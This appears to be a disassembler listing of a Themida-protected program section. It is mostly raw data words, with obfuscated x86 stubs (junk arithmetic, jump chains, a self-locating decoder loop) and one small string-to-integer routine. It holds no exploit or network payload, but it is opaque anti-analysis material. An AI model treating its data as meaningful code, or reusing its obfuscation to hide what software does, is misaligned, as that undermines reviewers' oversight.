dd 850F02F8h, 0F2h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 14h, 50C35545h, 0B8F78Ah, 0F000000h, 38Ah
dd 0D98B6600h, 840FC00Bh, 9Ah, 31098589h, 0F88305E9h, 60840F01h
dd 0E8FFFFFFh, 5, 0C1860D99h, 835BF5BAh, 840F03F8h
db 0E0h, 0FEh
word_544F42 dw 0FFFFh ; DATA XREF: ___:off_435718o
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 2BC35040h
dd 1AE22958h, 0C02B73D2h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 18h, 0D5C35242h, 0D8DD1330h, 7974BD8Dh, 0D68B005Bh
dd 6AE7FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
dd 55450000h, 0DDCBC3h, 2BC1F979h, 154DBA05h, 0BD8D79B1h
dd 5E94660h, 0FF93BB50h, 0E95B1D49h, 143h, 2F7D9D89h, 820F05E9h
dd 6, 56D08B60h, 0F8836159h, 4D850F03h, 8B000000h, 0E9258195h
dd 0F4BD8D05h, 8905E947h, 0E90215BDh, 111E905h, 6A0000h
dd 3E856h
dword_545004 dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
; DATA XREF: Themida_:005545C6o
dd 0F8563FC3h, 12E95Ah, 72370000h, 5CDB7EF3h, 0BF401B70h
dd 800A2AA8h, 1455F37Fh, 0F05F883h, 1185h, 84DF8000h, 0E916CA80h
dd 7B4h, 10559529h, 0F88305E9h, 57850F06h, 89000000h, 0E92B5DB5h
dd 0ECBD8D05h, 6605E949h, 0A4E9DA8Bh, 6A000000h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
dd 4EA4C356h, 0E43BA990h, 0BB662D6Fh, 0EE883A3h, 0C6000000h
dd 0F2D1492Dh, 9E04834Ch, 0AE9DD091h, 0CB815052h, 7EFA1058h
dd 0F8835B5Bh, 24850F07h, 8B000000h, 0E9177D9Dh, 0A5958905h
dd 8D05E900h, 0E913D9BDh, 81666005h, 61FE1AC9h, 0B7E9h
dd 0C9958B00h, 8305E917h, 850F0AF8h, 2Bh, 0ACB1B5BAh, 0E4BD8D00h
dd 0E805E94Bh, 0Ah, 0D19AD28Bh, 0FEACD2BDh, 0D18BAAACh
dd 7CB805Ah, 6E9h, 299D8B00h, 5705E907h, 655950Bh, 94B905E9h
dd 801CAB46h, 3F83DDF3h, 43840F00h, 0E9000000h, 0Ah, 5428CBD4h
dd 0DD2FA3C2h, 0F30759Ch, 32A5952Bh, 0C9D105E9h, 0F3816647h
dd 0D3E9964Ch, 6AFFFFFFh, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 17042444h, 47000000h, 0C885C357h, 6A5F471Ch
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h
dd 47000000h, 1AC8C357h, 31C79AA0h, 4DE0BD89h, 958B05E9h
dd 5E930E5h, 11758D8Dh, 8B6605E9h, 61B5FFD7h, 0B205E917h
dd 97858DD4h, 5005EBAAh, 5529BD8Dh, 8D8D05E9h, 5E96FF6h
dd 831ABCB8h, 30CF2B54h, 47C8D007h, 8DF87549h, 0E96F9DB5h
dd 0E8D8D05h, 2B05E970h, 33A4F3CFh, 0B8C9h, 0C00B0000h
dd 0BD834674h, 5E90AA1h, 0FF067400h, 0E90B1D95h, 0E0B58B05h
dd 8D05E94Dh, 0EBAA9785h, 8DD0FF05h, 0E9424685h, 0C7D0FF05h
dd 0E9035D85h, 105h, 31A58B00h, 8B05E92Ah, 0E90281B5h
dd 91AD8B05h, 3305E912h, 0CC2C0h, 4396CA81h, 0C68066B8h
dd 0A9BD8365h, 5E910h, 58840Fh, 6A0000h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 190424h, 56460000h, 3D4EDC3h
dd 0FAB009Fh, 1980h, 14E900h, 0E6E60000h, 8ABBF8CFh, 0B4037BE6h
dd 71AE3ADAh, 2114CEB3h, 8D8911BAh, 5E90AE9h, 2ACD9D2Bh
dd 95FF05E9h, 5E90CC1h, 32159D8Bh, 0BD8305E9h, 5E93095h
dd 0E1850F00h, 8B000001h, 0BD83F5DFh, 5E901BDh, 0D1850F01h
dd 0E9000001h, 0Fh, 6EE57C01h, 0A1DB29D3h, 0AD9D4901h
dd 830BA900h, 0E9066DBDh, 840F0005h, 1B0h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 50C35545h, 886AC965h
dd 4E33BD83h, 0F0005E9h, 18384h, 0DA816600h, 858DD38Bh
dd 5EBAA97h, 0F29958Bh, 0B58B05E9h, 5E94DE0h, 0B219589h
dd 0D0FF05E9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Bh, 0A0C35141h, 0D4781477h, 0C60D516Ch, 0E90EE585h
dd 80605405h
dword_545350 dd 8C0F33C8h, 0 ; DATA XREF: ___:off_43CCB4o
dd 4E861h, 0BEF40000h, 830FFF4Eh, 4, 2F7BBA66h, 0EE950h
dd 85F80000h, 2B3F97FDh, 223265ABh, 0A4B08EDFh, 424448Bh
dd 0EE8008Bh, 0B000000h, 14E851A1h, 176FEE2Bh, 9FE96530h
dd 5A82B3D6h, 4244489h, 6E860h, 12190000h, 0D667FCFAh
dd 0E50BE8B9h, 0DA8B5F67h, 6A5861h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 180424h, 52420000h, 45C2EEC3h
dd 0B5FFE396h, 5E92345h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Bh, 66C35040h, 95DC24C4h, 8D22188Fh, 0E939CF85h
dd 9E905h, 0D5AF0000h, 0DAEE5CB9h, 0FFB9E89Ch, 6FD380D0h
dd 9D8B006Ah, 5E90639h, 0AFF40CBAh, 81FF6A43h, 90486DC2h
dd 0E8D0FF48h, 0Ch, 3AC00ECDh, 5044F47Ch, 992BC527h, 236D8589h
dd 0FF5B05E9h, 0E9316DB5h, 0DA8B5305h, 1995315Ah, 0FF05E909h
dd 0E9176195h, 53006A05h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1504h, 0C3534300h, 1606B1Ah, 0E93099BDh
dd 85BD2905h, 6105E916h, 4DE0B58Bh, 9D8B05E9h, 5E92AD5h
dd 6800FC3h, 89000000h, 0E927758Dh, 55B58B05h, 0E905E930h
dd 6, 3967F5B1h, 0F60B64ADh, 15840Fh, 9D8B0000h, 5E923C9h
dd 0F0006C6h, 68Ah, 65958B00h, 8905E92Fh, 0E94DE885h, 52006A05h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
dd 0ACEDE973h, 0B70FA483h, 0F883D9h, 3E3840Fh, 958B0000h
dd 5E92EE5h, 0B8h, 0F606000h, 0E9B4F1BFh, 5AF95161h, 0F88361h
dd 0C6840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1C0424h, 53430000h, 968648C3h, 0D4AB2CEEh, 81669131h
dd 830573F3h, 850F02F8h, 87h, 8D83CA80h, 0E9446385h, 0BF0F6005h
dd 99958BF0h, 6105E925h, 9292Dh, 5E900h, 0ACDF0000h, 90E29F95h
dd 310F5250h, 585AD98Bh, 9077B350h, 13E8h, 0D2B0900h, 29596F10h
dd 0B3192051h, 0B6ECD9D6h, 5007F0h, 23759589h, 0C35B05E9h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 1AC35343h
dd 82D79BAFh, 0F44E66Dh, 0E84h, 858B6000h, 5E92D31h, 2BB58D89h
dd 0B86105E9h, 0
dd 0FEE9D08Bh, 0FC000002h, 1B8h, 29F96000h, 0E906A58Dh
dd 0BD8D6105h, 5E94468h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Bh, 82C35545h, 255AF681h, 8B190822h, 0E918619Dh
dd 71BD8905h, 0E905E917h, 11Fh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 19h, 0ADC35343h, 36AEF9BCh, 0D38166A3h
dd 0F883454Bh, 7D850F02h, 0E9000000h, 5, 2E00FC6Dh, 958B5328h
dd 5E91641h, 60BD8D5Ah, 6A05E946h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0CF3FC357h
dd 2182C3BBh, 413ACF58h, 0E15B589h, 0A8E905E9h, 6A000000h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h
dd 42000000h, 3301C352h, 0E543D388h, 8589528Bh, 5E904B5h
dd 6880Fh, 0C3810000h, 23CD52F9h, 0F03F883h, 4685h, 12C2BB00h
dd 0BB666030h, 0BD8DC93Dh, 5E947F4h, 0E98DC780h, 53h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0EC35343h, 0C99D89D4h
dd 8905E90Bh, 0E903A9BDh, 0C1BD8905h, 8305E932h, 850F05F8h
dd 1Bh, 2FD59D33h, 810F05E9h, 6, 1DFD8589h, 0B1E905E9h
dd 66000000h, 579A9ABAh, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 18h, 6AC35242h, 5ED03CCFh, 0DED9D8Bh, 94B905E9h
dd 2B1CAB46h, 0E9303D9Dh, 3F8305h, 72840Fh, 0E3810000h
dd 4483EE16h, 810F0F30h, 0Fh, 8E956h, 989A0000h, 7637A179h
dd 0D15B43B2h, 57006AC9h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1904h, 0C3574700h, 7DB32EADh, 6A4766D3h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h
dd 43000000h, 0D47CC353h, 9DB58950h, 8B05E912h, 0FF8BE9D7h
dd 0C381FFFFh, 58A905B0h, 0F05F883h, 0E085h, 58B0F00h
dd 0BA000000h, 78B2B9EBh, 6AD98C66h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 402BC356h
dd 2EDE80AFh, 0F04C1F6h, 7785h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 940550F2h
dd 0B8h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1B04h, 0C3504000h, 0C2B3C5FFh, 36615198h, 175D958Bh
dd 56E905E9h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 17042444h, 45000000h, 1A50C355h, 9D8BF998h
dd 5E91981h, 1D89858Bh, 0BA6605E9h, 0E0FFC826h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0A2C35646h, 958B571Fh
dd 5E92545h, 61BD835Bh, 5E917h, 0B8850Fh, 0F2810000h, 67498C81h
dd 17BB6650h, 24048959h, 0D6BF0F51h, 0E585C65Bh, 4505E90Eh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 0E1C35040h
dd 28B0Fh, 0E5B30000h, 0F8ACEC68h, 11E988h, 5C060000h
dd 38CB444Dh, 0F0C21B7Ah, 7D309FB3h, 81E18B82h, 0C5852434h
dd 9589068Ah, 5E92B25h, 2345B5FFh, 0E5B705E9h, 39CF858Dh
dd 6A05E9h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
dd 57470000h, 0FF0CE7C3h, 5E8BCh, 84FD0000h, 8B14A692h
dd 0D0FF5AD1h, 8589D18Ah, 5E91761h, 890F58F9h, 6, 1FD9D8Bh
dd 0BD8305E9h, 5E94E37h, 22840F00h, 0FC000000h, 2769958Bh
dd 0B5FF05E9h, 5E9316Dh, 6195FFF5h, 0E905E917h, 9, 0E2377D6Fh
dd 38AD8528h, 0F8837Ch, 121850Fh, 0EE80000h, 98000000h
dd 623A265Eh, 5F17B47Eh, 5DC8CC9Fh, 659D8BBEh, 5A05E91Fh
dd 2681BD83h, 0F0005E9h, 7084h, 0E3816600h, 0B5FF55E1h
dd 5E92681h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Ch, 0A6C35040h, 57A1198Eh, 50F8EEAAh, 0F005C381h, 958B30E0h
dd 5E91621h, 1B8h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1804h, 0C3564600h, 24B5D41Fh, 69958B2Fh
dd 0E905E900h, 282h, 0E3F38166h, 6DB5FFE4h, 6605E931h
dd 7C99D381h, 316DB5FFh, 6A05E9h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1C0424h, 55450000h, 4A25B2C3h, 0ECC27F09h
dd 9D8B8171h, 5E93185h, 1761B5FFh, 6A05E9h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 170424h, 53430000h, 411CC2C3h
dd 89952927h, 0E905E924h, 212h, 233D8D09h, 14E905E9h, 95000000h
dd 316951D0h, 659FCEECh, 0CB82BFEh, 0D1840DEh, 5F2B530Fh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0F7C35040h
dd 7DA71181h, 0FE8B13Fh, 85000000h, 0D66222C7h, 8E99B38Ah
dd 0E7900C0Ah, 0DAB6F7DBh, 0A5BD835Bh, 5E91Dh, 0B6850Fh
dd 0DA8B0000h, 0EE585C6h, 0F4D05E9h, 68Dh, 0E5B52900h
dd 6805E91Eh, 33EF27C9h, 0FE9h, 0A9C33800h, 7C3F52A4h
dd 9FBB0B8Bh, 30526748h, 0DF240481h, 6A70464Eh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
dd 0FFB5C356h, 1F1D9D23h, 79BA05E9h, 0FF6CB59Bh, 0E90039B5h
dd 85958B05h, 0F05E932h, 280h, 8DF38A00h, 0E939CF85h, 56006A05h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h
dd 0FD0FF2Fh, 138Ah, 7E800h, 0DA640000h, 480086CAh, 59589FEh
dd 5B05E91Eh, 1DA58589h, 0D98B05E9h, 0B8h, 0C1952300h
dd 8905E90Bh, 0E94DE0BDh, 52006A05h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 0DF48E7A7h
dd 8166BB54h, 0B8033E3h, 71840FC0h, 6A000000h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
dd 7BDBC357h, 973AFD26h, 0EE8h, 0AB1BE900h, 5C8031B5h
dd 0ABA0D127h, 3346DA38h, 0E926FD95h, 77E95A05h, 6A000000h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h
dd 42000000h, 0AF3CC352h, 8B7AD82Dh, 0E90BAD95h, 58C0F05h
dd 0BB000000h, 4D190147h, 1761B5FFh, 0B52905E9h, 5E92835h
dd 26D99523h, 858D05E9h, 5EBAA97h, 4E9ECB81h, 8B9050BFh
dd 6A9050D3h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1B042444h, 41000000h, 4540C351h, 94E482ECh, 565038C1h
dd 5529BD8Dh, 8D8D05E9h, 5E97B3Eh, 8323BCB8h, 30CF2B74h
dd 47C8D007h, 5EF87549h, 81BD8358h, 5E926h, 8D8B0674h
dd 5E907B9h, 0B8C933h, 0B000000h, 99840FC0h, 83000000h
dd 0E90AA1BDh, 6740005h, 0B1D95FFh, 0B805E9h, 0B000000h
dd 830975C0h, 0E94DE8BDh, 9740105h, 4DE8BD83h, 750205E9h
dd 0E0B58B0Eh, 8D05E94Dh, 0EBAA9785h, 8DD0FF05h, 0E9424685h
dd 83D0FF05h, 0E92C01BDh, 2F750205h, 2A31A58Bh, 858B05E9h
dd 5E92681h, 0C7240489h, 0E9035D85h, 105h, 0E4B58B00h
dd 8B05E94Dh, 0E91291ADh, 1B805h, 0CC20000h, 0C700EB00h
dd 0E9035D85h, 105h, 31A58B00h, 8B05E92Ah, 0E90281B5h
dd 91AD8B05h, 3305E912h, 0CC2C0h, 10A9BD83h, 740005E9h
dd 0C1BD830Fh, 5E90Ch, 95FF0674h
dd 5E90CC1h, 4DE0B58Bh, 66C305E9h, 6AD78Bh, 3E850h, 58200000h
dd 448958C3h, 44810424h, 160424h, 50400000h, 62BA48C3h
dd 7C59D03h, 816605E9h, 2B6D09E2h, 53006AD2h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 0CA8D2A7Dh
dd 668B72BFh
db 0BBh, 9Dh, 27h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push edi
push edx
push esi
mov edi, [ebp+8]
xor eax, eax
jmp short loc_545E4F
; ---------------------------------------------------------------------------
loc_545E4D: ; CODE XREF: Themida_:00545E52j
inc eax
inc edi
loc_545E4F: ; CODE XREF: Themida_:00545E4Bj
cmp byte ptr [edi], 0
jnz short loc_545E4D
xor ecx, ecx
mov edi, [ebp+8]
jmp short loc_545E7E
; ---------------------------------------------------------------------------
loc_545E5B: ; CODE XREF: Themida_:00545E80j
xor edx, edx
mov dl, [edi]
sub dl, 30h
mov esi, eax
dec esi
push eax
mov eax, edx
push ebx
mov ebx, 0Ah
jmp short loc_545E73
; ---------------------------------------------------------------------------
loc_545E70: ; CODE XREF: Themida_:00545E76j
mul ebx
dec esi
loc_545E73: ; CODE XREF: Themida_:00545E6Ej
cmp esi, 0
ja short loc_545E70
pop ebx
add ecx, eax
pop eax
inc edi
dec eax
loc_545E7E: ; CODE XREF: Themida_:00545E59j
or eax, eax
jnz short loc_545E5B
mov eax, ecx
pop esi
pop edx
pop edi
pop ecx
leave
retn 4
; ---------------------------------------------------------------------------
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 8AC35040h
dd 7B110D12h, 42BA6654h, 6A0EB736h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 583C356h
dd 0C2BE0325h, 9589D975h, 5E90445h, 0DBE9C18Bh, 68000222h
dd 12FFh, 0
dd 3F005AF5h, 25900h, 0E005AF5h, 28005AF0h, 46025900h
dd 2000002h, 1000000h, 4000000h, 0CD000000h, 0FA6AE1h
dd 4 dup(0)
dd 0FC000000h, 51005507h, 0AF0054E6h, 800549Ch, 50005465h
dd 8000546Ch, 0C20054DEh, 340054FCh, 0F5005525h, 0C80054B9h
dd 77005466h, 0C80054CEh, 0EA0054F3h, 9900546Eh, 670054C6h
dd 0DD00549Fh, 0B80054A0h, 0B0005482h, 0C0054D8h, 59005474h
dd 930054D4h, 45005482h, 7F0054BEh, 0A20054B2h, 540054E0h
dd 0F30054A0h, 0A70054E5h, 0C0005512h, 0DC0054C7h, 0A0054A7h
dd 130054DFh, 0F00548Eh, 60005471h, 420054CAh, 1B0054F2h
dd 0D0005474h, 0E9005486h, 0BE0054F3h, 0FE0054ADh, 0AC005483h
dd 64005528h, 9A0054F8h, 0CC00550Eh, 0E005467h, 0EB0054B7h
dd 2E00550Fh, 230054BCh, 0C50054E6h, 50005520h, 91005497h
dd 280054C8h, 2B005468h, 360054B1h, 24005472h, 0EF0054F3h
dd 410054F0h, 0FE0054B3h, 45005508h, 65005520h, 0C1005493h
dd 5B00547Dh, 0E10054C9h, 7700550Eh, 9B0054A2h, 480054C8h
dd 0B60054B7h, 4E0054F6h, 730054A5h, 6E0054A9h, 5F005489h
dd 400054C0h, 780054C1h, 6C0054AEh, 0D80054AFh, 0B5005486h
dd 0C700549Ah, 0C70054ADh, 530054C4h, 0FD0054C9h, 0C0054B3h
dd 1C0054CDh, 74005499h, 790054E2h, 0C3005482h, 0E20054BAh
dd 860054F1h, 8F0054F2h, 0DE0054F2h, 9100551Bh, 520054B4h
dd 0F30054F1h, 7A005513h, 0FC0054DDh, 600548Dh, 8005512h
dd 7005525h, 6A0054D7h, 0CB0054A5h, 8E0054B3h, 97005478h
dd 0A2005484h, 0B80054EEh, 5A0054D6h, 0EA005516h, 4A00546Ah
dd 0A10054A7h, 0FB0054ECh, 0A9005485h, 0E90054F1h, 8A0054B5h
dd 930054D5h, 180054D0h, 6B00551Bh, 850054DBh, 1A0054BDh
dd 540054A3h, 0A4005515h, 3B0054E7h, 71005476h, 620054ACh
dd 4A0054ADh, 7F00546Dh, 0E1005512h, 880054A8h, 0E2005507h
dd 330054EAh, 14005498h, 0A90054D7h, 3F00550Ch, 65005511h
dd 0AE005520h, 54E3h, 0D90054F0h, 0AB00547Ah, 0E50054E9h
dd 0B7005504h, 0DC0054E3h, 88005507h, 0C100549Ch, 0D3005489h
dd 0B300546Fh, 1F00547Eh, 0DD005525h, 5A005520h, 1E005512h
dd 0A30054E3h, 11005488h, 0DD005513h, 0AE00547Bh, 800054FBh
dd 0B500549Bh, 42005526h, 760054A0h, 0D9005489h, 3000546Ah
dd 0F900551Ch, 6F0054D2h, 16005494h, 0D10054EAh, 250054CBh
dd 0B20054EAh, 0C8005509h, 32005500h, 2600547Fh, 2F0054B2h
dd 830054FAh, 0C30054E4h
db 0E3h, 54h, 0
; ---------------------------------------------------------------------------
loc_5461C3: ; CODE XREF: Themida_:005756CCj
; Themida_:00594DD2j ...
pusha
pushf
cld
call $+5
pop edi
sub edi, 5E97FFEh
mov eax, edi
add edi, 5E97D16h
cmp eax, [edi+2Ch]
jnz short loc_5461E1
jmp short loc_5461F4
; ---------------------------------------------------------------------------
loc_5461E1: ; CODE XREF: Themida_:005461DDj
mov [edi+2Ch], eax
mov ecx, 0A7h
jmp short loc_5461F0
; ---------------------------------------------------------------------------
loc_5461EB: ; CODE XREF: Themida_:005461F2j
add [edi+ecx*4+40h], eax
dec ecx
loc_5461F0: ; CODE XREF: Themida_:005461E9j
or ecx, ecx
jnz short loc_5461EB
loc_5461F4: ; CODE XREF: Themida_:005461DFj
mov esi, [esp+24h]
mov ebx, esi
add esi, eax
mov ecx, 1
loc_546201: ; CODE XREF: Themida_:00546208j
xor eax, eax
lock cmpxchg [edi+30h], ecx
jnz short loc_546201
loc_54620A: ; CODE XREF: Themida_:00546B24j
; Themida_:005485EFj ...
lodsb
push ecx
mov cl, 5
sub cl, 0C3h
sub cl, 0C0h
sub al, 0FAh
sub al, cl
add al, 0FAh
mov ecx, [esp]
jmp loc_549E73
; ---------------------------------------------------------------------------
loc_546222: ; CODE XREF: Themida_:0054688Cj
mov ecx, 0D5963E8h
mov ebp, ecx
jmp loc_54F47D
; ---------------------------------------------------------------------------
dw 842Dh
dd 17EB54Dh, 4DBB53F0h, 813B772Eh, 3B00DEC3h, 81D3F701h
dd 0B52999CBh, 16CB8105h, 43664F22h, 51A4C381h, 60E996B5h
dd 8100004Dh, 9B413EC5h, 6CC6817Fh, 29792B2Fh, 3073E9EEh
dd 0B9510000h, 7BE76C17h, 6FA4E9h, 4C38100h, 81000000h
dd 4C3h, 241C8700h, 0FFE0E95Ch, 0E952FFFFh, 9870h, 8759CF29h
dd 0BFE9243Ch
db 9Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54629F: ; CODE XREF: Themida_:005526C8j
xchg ebx, edx
xchg eax, ebx
xchg eax, ecx
not ecx
xchg eax, ecx
xchg eax, ebx
xchg ebx, edx
xor eax, edx
xor edx, eax
xor eax, edx
push 5EA6h
mov [esp], ebp
push eax
push edx
push edi
jmp loc_549A0E
; ---------------------------------------------------------------------------
db 0B9h
dd 0
aIYbuSjuqsb? db ')Ù‰ËYã·S†uQé?',0
dd 24348B00h, 4C481h, 0AA680000h, 89000029h, 0BF572404h
dd 4B550DADh, 0F7BE781h, 0E7C16F67h, 98E94F07h, 510000BBh
dd 0F422E168h, 0C831597Ch, 53240C8Bh, 0C381E389h, 4, 4EC8351h
dd 0E9243C89h, 32F5h, 0E981F901h, 5B975686h, 83243C8Bh
dd 0C80104C4h, 0B7D5E959h, 68660000h, 34280000h, 24348A24h
dd 5302C483h, 0C680F4B3h, 0E9DE280Dh, 0AA10h, 2414F756h
dd 81F5875Eh, 0BE5E7F5h, 5DE901F2h, 50241C8Bh, 405E089h
dd 83000000h, 48704C0h, 9D80E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_546372: ; CODE XREF: Themida_:0054F478j
push esi
mov esi, 4712107h
jmp loc_5517D9
; ---------------------------------------------------------------------------
loc_54637D: ; CODE XREF: Themida_:00549F3Aj
pop ecx
jmp loc_54728C
; ---------------------------------------------------------------------------
db 1
dd 24148BD3h, 4C481h, 0AE90000h, 1000040h, 2B4AE9FAh, 0C3810000h
dd 4, 0E904C383h, 633Ah, 468h, 24E95D00h
db 0AFh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5463B3: ; CODE XREF: Themida_:00546B00j
pop edi
add ebx, eax
pop eax
add ebx, 4
xchg ebx, [esp]
pop esp
add esp, 4
push edi
sub esp, 4
mov [esp], ecx
mov ecx, 5ED9410Bh
mov edi, ecx
pop ecx
xor eax, edi
pop edi
push ebp
push 6838h
mov [esp], edx
push edi
mov edi, 57E16C7Ah
sub edi, 50BA3F22h
dec edi
sub edi, 37666521h
and edi, 30282E96h
add edi, 252716AEh
mov edx, edi
pop edi
jmp loc_54FB7B
; ---------------------------------------------------------------------------
db 81h, 0C4h, 4
dd 83000000h, 3C8702C7h, 24248B24h, 8904EC83h, 81E9240Ch
db 29h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_546423: ; CODE XREF: Themida_:00552658j
pop edi
pop eax
xor edi, 2ABA524Eh
jmp loc_54F3FA
; ---------------------------------------------------------------------------
aIIxqsad db '\‰,$‰åQ逤',0
align 4
dd 0CCBE5658h, 2953D22Dh, 8B042474h, 0C4832434h, 6D96E904h
dd 0E95D0000h, 0A6A8h, 5E9C15Fh, 0B658E941h, 0BA520000h
dd 374B6FD2h, 28BE5653h, 0E935BF15h, 315Bh, 0E904C483h
dd 2A8Fh, 5307E6C0h, 0CB80C9B3h, 5EBC0CCh, 0E94DC380h
dd 6591h
; ---------------------------------------------------------------------------
loc_546490: ; CODE XREF: Themida_:00546A94j
add ebp, 4
jmp loc_549BCC
; ---------------------------------------------------------------------------
aSs db 'Sé¹',7,0
dd 1C38300h, 0AC5FC381h, 40681DF4h, 89000059h, 0BAE9243Ch
dd 59000076h, 8124348Bh, 4C4h, 20500h, 28E90000h, 81000082h
dd 4C4h, 3A5F300h, 0EC833862h, 24348904h, 67ACE9h, 205A6600h
dd 0F28059EAh, 0EFEA804Eh, 846B753h, 241C8BFAh, 7689E9h
dd 4EC8100h, 89000000h, 0E9512434h, 460Ah, 240C8B66h, 60FD68h
dd 242C8900h, 0C5815D54h, 4, 471EE9h, 5EF30100h, 52E9DF01h
dd 4A000092h, 2612EA81h, 81425690h, 56DA5FEAh, 5AD0296Dh
dd 32BF5B05h, 58C70119h, 0BD55DFF7h, 1, 0F7E9EF29h, 68000049h
dd 6AD1h, 66243489h, 521EDDBEh, 64FB6866h, 414E9h
db 0
; ---------------------------------------------------------------------------
loc_546569: ; CODE XREF: Themida_:00547E9Aj
add [esp+4], edx
jmp loc_54F71D
; ---------------------------------------------------------------------------
dw 1489h
dd 0E6895624h, 4C681h, 0EE810000h, 4, 5C243487h, 83242489h
dd 8B042404h, 8E92414h
db 50h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_546597: ; CODE XREF: Themida_:0055278Bj
inc dword ptr [esp]
jmp loc_5517B6
; ---------------------------------------------------------------------------
a313Sa db '3<$1<$3<$éAš',0
dd 2C28100h, 87000000h, 665C2414h, 0E951E9F7h, 0B904h
dd 4C481h, 5E040000h, 303268h, 240C8900h, 69DEE9h
db 0
; ---------------------------------------------------------------------------
loc_5465D5: ; CODE XREF: Themida_:00548689j
push cx
jmp loc_54A5D1
; ---------------------------------------------------------------------------
loc_5465DC: ; CODE XREF: Themida_:00552652j
mov cl, ah
pop eax
mov dl, cl
jmp loc_546C7B
; ---------------------------------------------------------------------------
dw 0D7F7h
dd 0EA8FC781h, 0FE89547Fh, 83243C8Bh, 0C58104C4h, 3FFE292Eh
dd 0ED81F529h, 3FFE292Eh, 8FE8E95Eh, 752D0000h, 31C1FE1Ah
dd 0E98158C2h, 7AE5D68h, 8C17E9h
db 0
; ---------------------------------------------------------------------------
loc_54661D: ; CODE XREF: Themida_:00546E20j
mov [esp], edx
push 59BCh
mov [esp], ebp
push ecx
mov ecx, 3C30C4Ch
mov ebp, ecx
jmp loc_54F86D
; ---------------------------------------------------------------------------
db 89h, 14h, 24h
dd 0B110E9h, 40E95000h
db 7, 2 dup(0)
; ---------------------------------------------------------------------------
loc_546643: ; CODE XREF: Themida_:0054E1B8j
push dword ptr [esp]
pop ebx
add esp, 4
push ecx
mov ch, 4Bh
jmp loc_55054D
; ---------------------------------------------------------------------------
dw 1C89h
dd 55E38924h, 4BDh, 72C38100h, 815E076Eh, 2423B3C3h, 81EB0107h
dd 2423B3EBh, 72EB8107h, 5D5E076Eh, 46A868h, 242C8900h
dd 2BDh, 0DAEB8100h, 814AC449h, 0E46CEBC3h, 0C4EB8136h
dd 10BF957h, 0C4C381EBh, 810BF957h, 0E46CEBEBh, 0DAC38136h
dd 5D4AC449h, 8B241C87h, 0F9F62424h, 0CCB60F66h, 2BD1E9h
dd 24048F00h, 0E924248Bh, 0A24Dh, 240C8B66h, 2FC068h, 24348900h
dd 487B68h, 24248900h, 2FB0E9h, 0E9505100h, 0DBEh
; ---------------------------------------------------------------------------
loc_5466E8: ; CODE XREF: Themida_:0054FD44j
sub ebx, esi
pop esi
jmp loc_54B799
; ---------------------------------------------------------------------------
dd 5358C701h, 3768E9h
db 0
; ---------------------------------------------------------------------------
loc_5466F9: ; CODE XREF: Themida_:0055241Cj
push eax
mov eax, 780244EBh
jmp loc_54E2F1
; ---------------------------------------------------------------------------
dd 5C241C87h, 5BB7E9h, 58E73000h, 4EC81h, 0C890000h, 11546824h
dd 4890000h, 88D4B424h, 0EF2858E5h, 0E9F80059h, 0C50h
